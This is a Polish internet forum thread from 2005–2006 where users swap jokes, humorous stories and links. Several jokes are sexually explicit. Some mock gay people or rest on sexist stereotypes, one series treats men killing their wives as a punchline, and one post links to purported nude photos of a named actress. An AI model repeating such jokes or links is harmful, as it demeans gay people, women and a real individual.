- TAK synku
- A czy male tukany tez maja zolte dzioby ?
- TAK SYNKU
- A czy male tukany moga miec dzieci ?
.
.
.
- DUPA, powiedzialem DUPA !

i jeszcze jeden:

Pewnego dnia w rajskim ogrodzie Ewa zwraca sie do Boga.
- Mam problem.
- O co chodzi Ewo?
- Ja wiem, ze dzieki tobie istnieje i mam ten przepiekny
ogrod, wszystkie zwierzeta, tego zabawnego weza, ale
ja po prostu nie jestem szczesliwa.
- Dlaczego Ewo?
- Jestem samotna i po prostu rzygac mi sie chce jablkami.
- Aha Ewo, w takim wypadku stworze ci mezczyzne.
- Co to jest mezczyzna?
- Mezczyzna bedzie wadliwym stworzeniem, majacym wiele zlych
cech. Bedzie klamal, oszukiwal i bedzie prozny.
Tak czy inaczej bedziesz miala z nim ciezkie zycie.
Ale... bedzie wiekszy, szybszy i bedzie
lubil polowac i zabijac. Bedzie wygladal glupio,
kiedy sie pobudzi, ale odtad nie bedziesz narzekac.
Stworze go w taki sposob, aby dostarczal ci fizycznej satysfakcji.
Bedzie nierozsadny i bedzie zabawial sie walka lub kopaniem
pilki. Nie bedzie zbyt sprytny, wiec rowniez bedzie
potrzebowal twojej rady, aby postepowac rozsadnie.
- Brzmi wspaniale - powiedziala Ewa z ironicznym usmiechem - ale w
czym tkwi pulapka?
- Hm... mozesz go miec pod pewnym warunkiem.
- Jakim?
- Bedzie on dumny, arogancki, egocentryczny, wiec musisz
mowic mu, ze zostal stworzony pierwszy.
Pamietaj, to nasz malutki sekret...
Wiesz.....tak miedzy nami.... kobietami...

I jeszcze coś o Mani:

- Witam, świetnie pan wygląda. Jak tam pana mania prześladowcza?
- Pojechała na tydzień do swojej matki.

Powinno być "leży jeszcze w łóżku z gipsem na nodze" :22:

Pozdr :dj: Duch

Efraim Ryba - 14-12-2005, 13:09

Surrealizm przecudnej urody rodem z nieocenionych funiastych:



Pewnemu rolnikowi żona robiła niesamowicie dobre kanapki, kiedy szedł robić na pole. Kanapki ze świeżego chlebka, ze świeżutkim serkiem, wędlinką, sałatką i innymi bajerami. Rolnik pewnego razu poszedł robić w pole, kanapki zostawił na kamieniu jak zawsze... Po kilku godzinach pracy, zmęczony podchodzi do kamienia skonsumować kanapki... A tu ich nie ma! Następnego dnia żona znowu zrobiła mu pyszne, jak zawsze, kanapeczki, rolnik poszedł robić w pole, aby po kilku godzinach pracy zauważyć, że znowu mu ktoś zawinął kanapeczki! Wku*wił się rolnik i postanowił, że następnego dnia będzie patrzył zaczajony za drzewem, jak kto mu podwędza kanapki! Jak pomyślał - tak zrobił. Zaczaił się i patrzy - a tu wielki orzeł nadlatuje i porywa jego drugie śniadanie! Rolnik biegnie za nim. Biegnie, patrzy, że orzeł leci do lasu - rolnik za nim! Orzeł siada miedzy drzewami, odpakowuje kanapki, wyciąga z nich zawartość, wyrzuca wędlinę, ser, sałatę i inne dodatki, bierze dwie kromki chleba, przykłada sobie do piersi i masując swoją klatkę piersiową woła głośno: "O kur*a! Jaki ja jestem poj*bany!

Anja - 14-12-2005, 15:53

:pajac: to będzie mój ulubiony dział :lol: reeeweelacjaaa
duch - 14-12-2005, 16:16

Wrócił późno w nocy do domu narąbany w cholere gość. Zjadł czerstwy jak diabli tort stojący na stole i położył się do łóżka. Rano szarpie go za rękę synek:
- Tato nie widziałeś mojego bębenka?

---------------------------------------

W pewnym mieście powiatowym mieszkało trzech straszliwie rozwiązłych
młodzieńców. Byli oni najlepszymi klientami miejscowego domu publicznego.
Pewnego razu do miasta (a w zasadzie do burdelu ) zajechała na gościnne
występy najsłynniejsza w kraju prostytutka. Właścicielka przybytku
postanowiła (za niewątpliwy wkład w utrzymanie wysokiego poziomu zarobków
jej podopiecznych) zafundować całej trójce "gratisowe lody" wykonane przez
gwiazdę. Chłopcy siedli więc w hallu pomiędzy kilkoma gapiami no i się
zaczęło. Pierwszy z nich wszedł do pokoju, który zajmowała słynna panienka
i po trzech minutach wyszedł z zamglonymi oczami i z uśmiechem rozkoszy na
ustach.
- Jak było? - pytają gapie.
- Super, to mistrzyni. Wyobraźcie sobie że posmarowała mi penisa polewą
kakaową, posypała wiórkami kokosowymi i zaczęła ssać. Eksplodowałem po
dwóch minutach.
Wszedł drugi i też wychodzi uśmiechnięty:
- Ludzie, ona polała mi penisa słodką śmietaną, obłożyła go dżemem
truskawkowym a na czubku postawiła wisienkę i wtedy wzięła do buzi.
Wytrzymałem dwie minuty. Ona jest super.
Trzeci posiedział troszkę dłużej w pokoju i wyszedł trochę niezadowolony.
- Co jest, czegoś taki jakiś nie spełniony ?
- A wiecie, niby wszystko było tak jak u was. Najpierw założyła mi na
penisa krążki ananasa z puszki. Potem obłożyła to bitą śmietaną, posypała tartą
czekoladą i ....... Kurde, tak to apetycznie wyglądało, że pochyliłem się
i sam to zeżarłem.
-------------------------------------

Na a na koniec gierka:
http://www.wagenschenke.ch/HomeRun.swf

Mania - 14-12-2005, 17:54

duch napisał/a:
I jeszcze coś o Mani:

- Witam, świetnie pan wygląda. Jak tam pana mania prześladowcza?
- Pojechała na tydzień do swojej matki.

Powinno być "leży jeszcze w łóżku z gipsem na nodze" :22:

Pozdr :dj: Duch


:mrgreen: :mrgreen: :mrgreen:
Gips juz zdjeli...Ale nozka jeszcze nie za bardzo....
Mania

Dziubek - 15-12-2005, 08:02

Do poczytania
tsharny - 15-12-2005, 09:45

Facet domyślał się, że żona go zdradza. Pewnego wieczoru zaczekał aż
wyjdzie z domu, po czym biegiem wskoczył do taksówki i kazał
taksówkarzowi ja śledzić. Chwile później wszystko stało się jasne -
jego żona pracowała w agencji towarzyskiej!
Powiedział do taksówkarza:
- Chcesz pan zarobić stówę?
- Jasne! Co mam robić?
- Wejść do agencji, zabrać moją żonę i wsadzić ją do taksówki,
po czym zawieźć nas oboje do domu.
Taksówkarz zabrał się do pracy. Kilka minut później, drzwi
agencji z hukiem się otworzyły i wyszedł taksówkarz trzymając
przewieszona przez ramie kobietę, która gryzła, kopała i wrzeszczała
przez cala drogę do taksówki.
Taksówkarz otworzył drzwi samochodu, wrzucił kobietę do środka i
powiedział:
- Trzymaj pan ją!
A facet krzyknął do taksówkarza:
- To nie jest moja żona!
- Wiem, kur.., to moja! Po twoją teraz idę!

pozdrawiam
tsharny

Efraim Ryba - 15-12-2005, 10:11

Ponownie funiaste ( www.funiaste.net ):

Do hotelu w Związku Radzieckim późną porą przybył podróżny:
- Poproszę o pokój na jedną noc.
- Niestety, mamy tylko wolne jedno miejsce w pokoju pięcioosobowym.
- Może być, w końcu to tylko jedna noc - odpowiedział podróżny i pomaszerował do wskazanego pokoju. Ułożył się wygodnie i zamierzał zasnąć, ale współtowarzysze grali w brydża, opowiadali sobie kawały i co chwila wybuchali głośnym śmiechem. Podróżny ubrał się i zszedł do recepcji:
- Poproszę 5 herbat na górę za jakieś 10 minut.
Wrócił do pokoju i mówi:
- Panowie tak swobodnie opowiadacie sobie dowcipy, a przecież tutaj może być założony podsłuch!
- Co pan! w hotelu?
- Możemy to łatwo sprawdzić - panie kapitanie! poproszę 5 herbat pod 14-stkę.
Rzeczywiście, w tym momencie przynoszą herbatę. Współtowarzysze z lekką obawą kładą się spać. Rano podróżny wstaje i widzi że prócz niego w pokoju nie ma nikogo. Schodzi do recepcji:
- Co się stało z moimi współlokatorami?
- Rano zabrała ich milicja.
- A mnie dlaczego nie zabrali?
- Bo kapitanowi spodobał się ten dowcip z herbatą.

krzyśko - 15-12-2005, 23:05

Polska Agencja Prasowa podała, że w planach rządu IVRP dotyczacych restrukturyzacji sił mundurowych znalazł się zapis o reaktywacji ZOMO.

ZOMO - Zmoheryzowane Oddziały Milicji Obyczajowej


W związku z zaprzysiężeniem naszego nowego prezydent przydającym tuż przed Wigilią, pojawiły się propozycje uczczenia tego wydarzenia specjalną potrawą na stole wigilijnym.
Szef kuchni poleca kaczkę z burakami w sosie grzybowym :22:

duch - 16-12-2005, 13:34

Rozmawia dwóch homosiów:
- Ciekawe, czy możliwa jest zwykła przyjaźń między mężczyznami?
- Pewnie tak, ale natura i tak w końcu zwycięży...

-------------------------------

Jaś opowiada dowcip: Leciał bocian i niósł dwa worki dzieci. W jednym worku były dobre dzieci, a w drugim złe. Bocian zaczął
opowiadać dobrym dzieciom: Będziecie mieli bogatych rodziców i wspaniały dom z basenem....
- Tato, słyszałeś to? - przerywa Jaś.
- Nie.
- Bo byłeś w drugim worku!

----------------------------------------------

Pani Janka Gramofomanka :22:
http://www.radioabc.pl/bo...all%20remix.mp3

-----------------------------------------------

Pozdr :dj: Duch

tsharny - 16-12-2005, 15:55

10 przykazań Ojca Dyrektora - z okazji 14-lecia

Jam jest Ojciec Dyrektor twój, który cię wywiódł na plagi egipskie, w radio głupoli:
1. Nie będziesz miał Radiów cudzych poza moim.
2. Nie będziesz odbierał Radia mego bez wpłaty.
3. Pamiętaj aby w dzień święty rentę przysłać.
4. Czcij Ojca swego i Rozgłośnię swoją.
5. Nie zagłuszaj.
6. Nie cudzosłysz.
7. Nie przestrajaj.
8. Nie unikaj fałszywego świadectwa na antenie mojej.
9. Nie porządaj Maybacha Dyrektora swego.
10. Ani żadnej kasy, która Jego jest.

pozdrawiam
tsharny

Mania - 16-12-2005, 16:53

Pozostajac w temacie
http://www.moheroweberety.net/go/pl/
Mania

wrobel.cwirek - 17-12-2005, 11:03

co bedzie jak Prokom zacznie pisac oprogramowanie dla elektrowni atomowych?

jak to co... NIC

martin - 17-12-2005, 12:03

Za Funiastymi :)

Kobieta stoi przy garach i zeskrobuje nożem brud z patelni teflonowej.
Do kuchni wchodzi maż i mówi:
- Zgłupiałaś?! Czemu skrobiesz nożem po teflonie?
- Sam jesteś poteflon...

Efraim Ryba - 18-12-2005, 12:54

za funiastymi
Spotykają się trzy krokodyle i jeden mówi:
Pamiętacie, kiedyś byliśmy zieloni...
Drugi mówi: A pamiętacie, kiedyś umieliśmy pływać...
Na to trzeci: Nie gadajcie, lecimy robić miód!

J8000 - 18-12-2005, 12:55

W piaskownicy bawią sie dzieci. Nagle jedno płacze i gada, że mu sie komórka złamała
ale po chwili gada: eee tam jutro tata kupi mi nową.
A kolega do niego: no tak, a dzisiaj jak wieśniak bedziesz kopał łopatką.. :-D

tsharny - 20-12-2005, 17:09

Facet mówi do kolegów:-"Postanowiłem przez pewien czas żyć bez seksu, alkoholu i papierosów...
I musze wam powiedzieć, że to był najgorszy kwadrans w moim życiu..."

Przychodzi blondyn do lekarza i mowi:
- Panie doktorze, mam IQ 190 i nie mam zadnych znajomych.
- Nie ma pan znajomych, bo nie ma pan z nimi o czym rozmawiac. Proponuje panu wyciac 25% mozgu.
- OK.
2 tygodnie po operacji przychodzi Blondyn do lekarza:
- Panie lekarzu swietnie! Mam znajomych, mam o czym rozmawiac, ale moze by tak wyciac jeszcze z 25% mozgu
- OK.
2 tygodnie po operacji przychodzi Blondyn do lekarza:
- Panie lekarzu, jest super! Mam znajomych, kochanki, przyjaciol, pijemy, palimy, orgie! Ale mozeby tak jeszcze z 25% mozgu mi wyciac?
- OK
Przychodzi blondyn po 2 tygodniach.
- I jak jest teraz?
- No troche gorzej...
- A co sie stalo? Nie ma pan znajomych?
- Mam. Dalej orgie, dalej picie, palenie, kochanki, przyjaciele, kumple...
- To o co chodzi?
- Mam okres.

Bogdan baraszkowal w najlepsze z kochanka, gdy uslyszal, ze samochod jej meza wjezdza na podjazd. Niewiele myslac zlapal swoje ubranie i wyskoczyl przez okno, mimo ze na dworze padal deszcz. Traf chcial, ze ulica przebiegal wlasnie maraton. Bogdan postanowil dla niepoznaki dolaczyc do zawodnikow.
-Zawsze biegasz nagi?- zapytal go po przebiegnieciu kilku kilometrow jeden z biegaczy
-Tak-odparl Bogdan.-Czuje sie wtedy naprawde wolny, a powiew wiatru przyjemnie chlodzi moja skore.
-To dlaczego biegniesz z ubraniem pod pacha?- dopytuje sie sportowiec.
-Po zakonczonym biegu moge sie odrazu ubrac w czyste ciuchy- wyjasnil Bogdan
-A zawsze biegasz z nalozona prezerwatywa? -zapytal zawodnik
-Nie, tylko kiedy pada...

Przychodzi facet do lekarza i mówi, ze bola go jadra.
Czesto pan uprawia seks?
*Nie za czesto. Zwykle kochamy sie z zona dwa razy o poranku, potem ze trzy razy po powrocie z pracy, a w nocy jeszcze ze dwa razy. No, troche wiecej w weekend.
Hm - mysli lekarz. - Przy takim trybie zycia to juz chyba nie ma mowy o
kochance?...
*Prawde mówiac - odpowiada niesmialo pacjent - mam kogos. Rzeczywiscie, nie jest latwo, musze sie urywac z pracy, a kochamy sie przewaznie w czasie lunchu, czasem udaje sie wpasc do niej przed powrotem do domu...
Tyle stosunków na dzien!? - wola zdumiony lekarz. - To nie ma sie co
dziwic, ze pana bola jadra!
* Uff, pocieszyl mnie pan - mówi pacjent - bo ja myslalem, ze to od
masturbacji.

Przed knajpę zajechał super wóz sportowy, a z niego wyszedł
szałowo ubrany extracki facet.
Podszedł do niego żebrak - brudny, śmierdzący i prosi o kasę:
- Daj trochę forsy, bo umrę z głodu i moje dzieci.
Po chwili zastanowienia, facet sięga do kieszeni i wyciąga banknot 100 $, i podaje...., ale cofa rękę i mówi:
- Na pewno przepijesz
- ee! Ja jestem abstynentem, nie piłem wódki już od 10 lat
Znowu facet podaje żebrakowi banknot, ale ponownie cofa rękę i mówi:
- Na pewno przepalisz?
- e ja nigdy nie paliłem papierosów!
Znowu facet podaje pieniądze i ponownie cofa rękę:
- To stracisz na dziwki
- W życiu!, nie interesują mnie żadne kobiety, tylko moja żona i
dzieci! Po namyśle facet otwiera drzwi od swojej gabloty i mówi:
- Wsiadaj
- Ja?? Przecież jestem brudny, śmierdzący! pobrudzę w
środku!
- Wsiadaj! Pojedziemy do mojej żony.... Chcę jej pokazać, jak
wygląda facet, który nie pije, nie pali, i nie chodzi na dziwki!


pozdrawiam
tsharny

[ Dodano: 21-12-2005, 20:42 ]
Wynalazki a sprawa płci

Mężczyzna odkrył broń, wynalazł polowanie.
Kobieta odkryła polowanie, wynalazła futra.

Mężczyzna odkrył kolory, wynalazł malowanie.
Kobieta odkryła malarstwo, wynalazła makijaż.

Mężczyzna odkrył mowę, wynalazł konwersację.
Kobieta odkryła konwersację, wynalazła plotkę.

Mężczyzna odkrył rolnictwo, wynalazł jedzenie.
Kobieta odkryła jedzenie, wynalazła dietę.

Mężczyzna odkrył przyjaźń, wynalazł miłość.
Kobieta odkryła miłość, wynalazła małżeństwo.

Mężczyzna odkrył kobietę, wynalazł seks.
Kobieta odkryła seks, wynalazła ból głowy.

Mężczyzna odkrył handel, wynalazł pieniądze.
Kobieta odkryła pieniądze, i to zrujnowało mężczyznę...

pozdrawiam
tsharny

Anja - 22-12-2005, 09:38

tsharny... Ty to chyba kobiet nie lubisz ;)
tsharny - 22-12-2005, 17:29

no co ty opowiadasz... ja bardzo lubię kobiety :lol:
a tutaj napisałem o nich samą prawdę :mrgreen:
(teraz to dopiero podpadnę)...

pozdrawiam
tsharny

duch - 22-12-2005, 17:38

Żona miała dość zachowania swojego męża, a w szczególności jego zbyt częstych wypadów z kolegami na piwo i powrotów w stanie mocno wskazującym.
Po jednym z takich wieczorów mąż w stanie kompletnego upojenia wrócił do domu i padł nieprzytomny na łóżko. Żona jak zawsze rozebrała go do snu, ale tym razem zrobiła coś więcej - wepchnęła mu palcem do tyłka prezerwatywę w taki sposób, aby kawałek wystawał na zewnątrz. Rano, jak zawsze mąż aby poczuć się lepiej wszedł pod prysznic. Myje się, myje... w pewnej chwili zaczyna myć tyłek i co....Co to jest? Wyciąga z tyłka prezerwatywę!
Żona w tym czasie przygotowuje w kuchni śniadanie. Gdy wykąpany mężulek przychodzi do kuchni, żona pyta:
- Jak się wczoraj bawiłeś? Jak żyją Twoi koledzy?
Mąż pełnym rozgoryczenia głosem odpowiada:
- Koledzy? Ja już nie mam kolegów!
------------------------------------------------
Synek dresiarza wraca do domu po ostatnim dniu nauki w szkole:
- Jakie masz oceny? - inteligentnie zagaił ojciec dresik.
- Pięć pał... - ze smutkiem mówi mały.
- PIĘĆ??? Będzie lanie, oj duuuże lanie!
Na to synek ucieszony:
- Wiem tatko, mam ich adresy...
------------------------------------------------
:22: :22: :22:
Dwie sekretarki:
- Ile ci płaci szef w delegacji.
- Mi stówkę.
- A mi osiemdziesiąt. Ciekawe dlaczego dostaję mniej?
- A bierzesz do buzi?
- Biorę.
- A połykasz?
- Połykam.
- Widzisz - potrąca ci dietę.
:22: :22: :22:
--------------------------------------------------
Turysta zwiedza jakis kraj afrykański, przewodnik mu opowiada:
-w tym kraju 9 na dziesięciu obywateli je ludzkie mięso
-a pozostali?
-pozostali to rekordziści olimpijscy w biegach
---------------------------------------------------

Pozdr :dj: Duch

IRA - 27-12-2005, 09:20

Stary farmer miał duży staw na tyłach swojego ogrodu. A i ogród
> niczego
>sobie. Stoliki wokół dużego grilla, trawniczek ładnie przystrzyżony,
>drzewka
>owocowe itp... Pewnego wieczora farmer postanowił pójść nad staw i
>"rzucić
>gospodarskim okiem". Przy okazji wziął wiadro, coby w drodze
>powrotnej
>przynieść trochę owoców.
>W miarę jak zbliżał się do stawu słyszał coraz głośniejsze hałasy i
>krzyki.
>W końcu dotarł nad staw i oczom jego ukazał się taki oto widok: kilka
>ładnych młodych dziewczyn kąpało się nago w jego stawie. Natychmiast
>go
>zobaczyły i podpłynęły na głębszą wodę.
>- Nie wyjdziemy dopóki pan nie odejdzie! - krzyczały.
>Stary farmer zmarszczył tylko brew i mówi:
>- Nie przyszedłem tu po to żeby oglądać was pływające nago, ani po to
>żeby
>zmuszać was do wyjścia z wody nago - tu stary farmer popatrzył na
> trzymane
> w
>ręku wiadro - tylko po to żeby nakarmić aligatora.


> Dzien z zycia Polaka:
> Wstaje rano, wlaczam moje japonskie radyjko, zakladam amerykanskie
> spodnie,
> wietnamski podkoszulek i chinskie tenisowki, po czym z holenderskiej
>lodowki
> wyciagam niemieckie piwo. Siadam przed koreanskim komputerem i w
> amerykanskim banku zlecam internetowe zakupy w Anglii, po czym wsiadam
>do
> czeskiego samochodu i jade do francuskiego hipermarketu na zakupy. Po
> uzupelnieniu zarcia o hiszpanskie owoce, belgijski ser i greckie wino
> wracam
> do domu, siadam na wloskiej kanapie i... szukam pracy w polskiej
> gazecie -
> znowu nie ma! Zastanawiam sie, dlaczego w Polsce nie ma pracy?!?!?!

agrest - 27-12-2005, 14:30

krotka seryjka pod jednym tytulem
Jak Umieraja Kobiety

O trzeciej w nocy ONA po cichutku wymknęła się z małżeńskiego łoża do sąsiedniego pokoju. Klawiaturą rozbiła 19-calowy monitor, wszystkie płyty CD porysowała i podeptała swoimi pantoflami. Obudowę komputera wyrzuciła przez okno, a drukarkę utopiła w wannie. Potem wróciła do sypialni, do ciepłej pościeli i przytuliła się z miłością do boku swego nic nie podejrzewającego, śpiącego męża. Była przeświadczona, że już teraz cały wolny czas będzie przeznaczał na ich miłość. Zasnęła.... Do końca życia pozostały jej jeszcze niecałe cztery godziny...

=====================================================

Od wielu miesięcy patrzyła jak się męczy. Codziennie do późna przesiadywał w garażu. Podziwiała go za jego cierpliwość - nigdy sie nie skarżył,a wręcz starał się zawsze wyglądać na zadowolonego z siebie i swojego samochodu. Ale jej kobieca intuicja podpowiadała, że to wszystko jest wymuszone i sztuczne. Wydawało jej się, że patrzy z zazdrością na sąsiadów i znajomych jeżdżących autami z salonu, siedzących wieczorami przy grillu z rodziną... gdy on znów rozbierał silnik... Pewnej nocy, gdy pracował do późna w garażu podjęła ostateczną decyzję... Wszystko miała dokładnie zaplanowane. Okazja pojawiła się, gdy wyjechał na parę dni na delegację, służbowym samochodem. W jeden dzień załatwiła kredyt w banku i wizytę u dealera. Na drugi zamówiła lawetę. Teraz pozostało tylko czekać... a w garażu... taki nowiutki... błyszczący... musi mu się spodobać... Gdy przyjechał zaprowadziła go przed garaż, uroczystym ruchem otworzyła drzwi...
- Gdzie mój zabytkowy ford mustang....... - jęknął tylko.
- Nooo... na złomie, tam gdzie jego miejsce, już nie będzie cię denerwować, cieszysz się kochanie?? Po pierwszym ciosie zadanym kluczem do kół zdążyła resztką świadomości pomyśleć "A może golf to nie był dobry wybór.. może toyota... ". Pozostałych dwudziestu sześciu już nie czuła...


=======================================================

Tego dnia miarka się przebrała. Anna postanowiła z sobą skończyć. Usiadła w kuchni koło lodówki. Po chwili usłyszała znajomy warkot samochodu. Jej mąż wrócił właśnie z ogródka, gdzie kosił trawniki. Za chwilę wszedł do domu, cmoknął Annę w policzek. Wziął do ręki otwieracz, wyjął z lodówki butelkę piwa. Gdy odskoczył kapsel i syknęła mgiełka, Anna szybkim ruchem wyrwała mężowi butelkę i wyrzuciła przez okno.
....Śmierć miała szybką.

Wielki_szef - 27-12-2005, 22:50

Chruszczov założył się z Kennedy'm kto wygr bieg na setkę. Jako młodszy i sprawniejszy wygrł Kennedy. Następnego dnia rosyjska "Prawda" napisała: "W biegu na 100 metrów Towarzysz Chruszczov zajął zaszczytne drugie miejsce, Kennedy zaś był przedostatni."
wiorr - 28-12-2005, 00:20

Jaś pyta mamę:
- mamo skąd się biorą dzieci?
- widzisz jasu, dzieci przynosi bocian
- a kto j*bie bociana??

Anja - 28-12-2005, 10:18

nie, no coś Ty tsharny, w ogóle nie podpadłeś :rocket:

polecam dowcip Ducha z 13.12.05 - ten o Ewie :-D

[ Dodano: 28-12-2005, 09:44 ]
Facet miał trzy przyjaciólki. Jednak tylko jedną mógł wybrać za żonę. Postanowił, więc każdej dać po 2000zł. Chciał sprawdzić co każda z nich z tym zrobi.
Pierwsza pobiegła od razu do fryzjera, kupiła sobie też nowe ciuchy. Przyszła do faceta i mówi, że to wszystko dla niego, bo go kocha.
Druga kupiła mu zestaw Cyfra plus i kilka skrzynek piwa. Przyszła do faceta i mówi, że to wszystko dla niego, bo go kocha.
Trzecia zainwestowała pieniądze, zarobiła więcej, zainwestowała znowu i znów zarobiła. I tak kilka razy. Dorobiła się majątku, przyszła do faceta i mówi, że to wszystko dla niego, bo go kocha.
Po namyśle facet wybrał kobietę z większym biustem. Jaki z tego morał?
...że faceci w przeciwieństwie do kobiet nie lecą na kasą! :)


--------------------------------------------------------------------------------


Baba i chłop jadą furmanką po autostradzie.
Nagle wyprzedza ich motocyklista bez głowy, chłop zdziwił się, lecz nie zareagował. Nagle wyprzedził ich drugi motocyklista, także bez głowy... Po kilku następnych podobnych wypadkach, zdziwienie chłopa sięgnęło zenitu i z wielkim trudem zaczął się zastanawiać nad zaistniałą sytuacją. Po chwili kontemplacji klepną się w głowę i krzyczy do baby:
- Ej, stara! Rzuć no tam tę kosę gdzieś wyżej!


Na tonącym okręcie spanikowany pasażer podbiega do kapitana i pyta:
- Panie kapitanie, a daleko stąd do najbliższego lądu.
- Uuuu! Będzie jakieś dwa kilometry.
- Dwa kilometry? Hmm. W którą stronę mam płynąć?
- W dół.


Stoi dwóch górali po dwóch brzegach Dunajca. Jeden krzyczy do drugiego:
- Głęboka?!
A że było słabo słychać bo szum wody i w ogóle, drugi się drze:
- To nie Oka, to Dunajec
Tamten wchodzi i po chwili wpada po szyje i porywa go nurt wody. Jakimś
cudem się ratuje, przepływa na drugi brzeg, podchodzi do tamtego:
- Ja ci k** dam "do jajec"!

tsharny - 28-12-2005, 14:46

Anja napisał/a:
nie, no coś Ty tsharny, w ogóle nie podpadłeś :rocket:


pis :beer: :ban: :szampan: noł łor :rocket: :maniac: :chainsaw:

pozdrawiam
tsharny

Anja - 28-12-2005, 15:27

tsharny napisał/a:
noł łor


;OK;

Beeker - 28-12-2005, 16:04

tsharny napisał/a:
pis :beer:

??? :zdz:

:lol:

Wielki_szef - 28-12-2005, 21:56

http://www.superlaugh.com/1/bushgirl.htm Jak wyglądałby Bush gdyby był kobietą? Przekonajmy się! :lol:
tsharny - 28-12-2005, 23:05

Beeker napisał/a:
tsharny napisał/a:
pis :beer:

??? :zdz:

:lol:


no panie kolego - tylko bez skojarzeń, tak nisko to jeszcze nie upadłem :mrgreen:

pozdrawiam
tsharny

Anja - 30-12-2005, 11:35

Małżonkowie wpadają na dworzec kolejowy, co sił biegną na peron, niestety, za późno. Maż odwraca się do żony i krzyczy:
- Gdybyś się tak nie guzdrała, to byśmy zdążyli!
- Gdybyś mnie tak nie poganiał, to byśmy krócej czekali na następny!


W pociągu, w jednym przedziale siedzą żołnierz-szeregowy, generał, matka i jej 18-letnia córka. W pewnej chwili pociąg wjechał do tunelu, zrobiło się zupełnie ciemno. Słychać głośne plaśnięcie, jakby uderzenie w policzek. Pociąg wyjeżdża z tunelu.
Co sobie myślą te cztery osoby?
Matka:
"Oho, któryś z panów próbował dobierać się do mojej córeczki, a ona wymierzyła mu w policzek."
Córka:
"Oho, mamusia ma jeszcze powodzenie.
Generał:
"No tak, żołnierz skorzystał, a ja dostałem."
Żołnierz:
"Jak jeszcze raz wjedziemy do tunelu, to znowu dam generałowi po MORDZIE."

[ Dodano: 30-12-2005, 10:40 ]
Na wycieczkę rowerową wyruszyło dwóch wariatów. Jadą... jadą... Nagle jeden zatrzymuje się i spuszcza powietrze z kół.
- Co ty robisz? - pyta drugi.
- A siodełko było za wysoko - odpowiada tamten.
Na to ten drugi zamienia miejscami kierownicę z siodełkiem. Teraz ten co spuszczał powietrze, zdziwiony pyta się:
- A co ty wyprawiasz?
- Zawracam, z takim idiotą jak ty nie jadę dalej!

[ Dodano: 02-01-2006, 12:18 ]
Biegnie Jezus po jeziorze i woła: Tato, Tato, daj popływać.

Efraim Ryba - 03-01-2006, 10:56

za funiastymi (www.funiaste.net):

Myśliwy poszedł na polowanie i zobaczył zająca. Podszedł na 50 metrów,
przymierzył, strzelił. Dym się rozwiał, zając dalej siedzi. Podszedł na 20
metrów - to samo. Zdenerwował się, przyłożył zającowi lufę do głowy,
strzelił... Dym się rozwiał, zając wstaje, otrzepuje się i
mówi:
- Poj*bało cię?!

[ Dodano: Sro 04 Sty, 2006 ]
Z dowcipów, skąd inąd dla mnie przynajmniej, bardzo żenującego zazwyczaj Sz. Majewskiego:

Co jest potrzebne do zabicia Człowieka Pająka?
Człowiek Kapeć

oraz

Spotykają się dwa zające.
pierwszy:
- własnie obchodzę rocznicę...
drugi:
- jaką?
pierwszy:
- dwudziestopięciolecia działalności w KORze...

a także

Jak powinni się przebrać homoseksulaiści na paradę równości?
- niedopoznania

agrest - 05-01-2006, 10:42

Informatyka:
mgr H.:
- Co potrzeba, żeby komputer działał?
odp. z sali:
- Prąd!
mgr H.:
- Część osób od was to widzę pogromcy audiotele, takie rzeczy wiedzą...

leszeksz - 05-01-2006, 13:31

Dla tych co chcą sprawdzić swoje IQ:
http://www.kurde.pl/flash/iqtost.html

super laski:
http://web.telia.com/~u82705365/laski/laski.htm

naga Jesica Alba
http://sheendigital.com/alba/

faceci roku:
http://www.4a.boo.pl/smile/facet/man.htm

Efraim Ryba - 05-01-2006, 13:35

celne socjologiczno kulturoznawcze spostrzeżenie z funiastych:

Pewne trzy parafie nawiedziła plaga wiewiórek. Całe dziesiątki rudych
stworzonek zamieszkały w murach kościołów.
Członkowie pierwszej parafii uznali to za wolę Boga i wiewiórki zostały.
W drugiej parafii delikatnie wyłapano wszystkie i wywieziono do lasu,
lecz po trzech dniach wróciły.
Tylko w trzeciej parafii znaleziono właściwe rozwiązanie: wiewiórki
zostały ochrzczone i wpisane do rejestrów parafialnych. Od tej pory
widuje się je tylko na Wielkanoc i w Boże Narodzenie.

leszeksz - 05-01-2006, 13:52

Ciekawe ogłoszenia
http://www.kurde.pl/ogloszenia.php?p=1

Anja - 10-01-2006, 15:33

głównie dla tych co mają dzieci:

Pani przedszkolanka pomaga dziecku zalozyc wysokie, zimowe botki.
Szarpie sie, mecza, ciagna... Jest! Weszly! Spoceni siedza na podlodze, dziecko mowi:
- Ale zalozylismy buciki odwrotnie...
Pani patrzy, faktycznie. To je sciagaja, morduja się sapia. Uuuf, zeszly. Wciagaja je znowu, sapia, ciagna, nie chca wejsc... Uuuf. weszly. Pani siedzi, dyszy a dziecko mowi:
- Ale to nie moje buciki...
Pani niebezpiecznie zwezyly się oczy, odczekala i znów szarpie się z butami... Zeszly.
Na to dziecko:
- To buciki mojego brata i mama kazala mi je nosic...
Pani zacisnela rece mocno na szafce, odczekala az przestana się trzasc, przelknela sline i znów pomaga wciagac buty. Tarmosza sie, wciagaja, sila sie... Weszly.
- No dobrze - mówi wykonczona pani - a gdzie sa twoje rekawiczki?
- Mam schowane w bucikach...

Tomek Radomski - 11-01-2006, 00:02

To niefajne. Codziennie odbieram zwierzę o imieniu Kuba z przedszkola ;)
tsharny - 11-01-2006, 00:13

a myślałeś o oddaniu go do zoo? :mrgreen:
Beeker - 11-01-2006, 01:00

Kuuźwa Panowie - ja odwożę z rańca małą Anję - to ci jazda jest !!! Jak w tym dowcipie ino bardziej intensywnie :mrgreen:

dze nejkyd truf :cool:

Anja - 11-01-2006, 09:12

Tomek Radomski napisał/a:
To niefajne. Codziennie odbieram zwierzę o imieniu Kuba z przedszkola


może jak "okiełaznasz" to będzie bardziej potulne??
tylko wiesz głaskaniem i zrozumieniem, a nie batem.... i wtedy jest już fajnie z małymi wyskokami okolicznościowymi ;-) oczywiście

tsharny - 11-01-2006, 09:24

Anja napisał/a:
może jak "okiełaznasz" to będzie bardziej potulne??
tylko wiesz głaskaniem i zrozumieniem, a nie batem.... i wtedy jest już fajnie z małymi wyskokami okolicznościowymi ;-) oczywiście

znasz to z własnego doświadczenia? może powinnaś w cyrku pracować z dzikimi animalsami :mrgreen:

Anja - 11-01-2006, 09:48

tsharny napisał/a:
znasz to z własnego doświadczenia?

znam, przyszyłam sznurki do rękawiczek, wiec już nie wpycha w buty ;-)

tsharny napisał/a:
może powinnaś w cyrku pracować z dzikimi animalsami

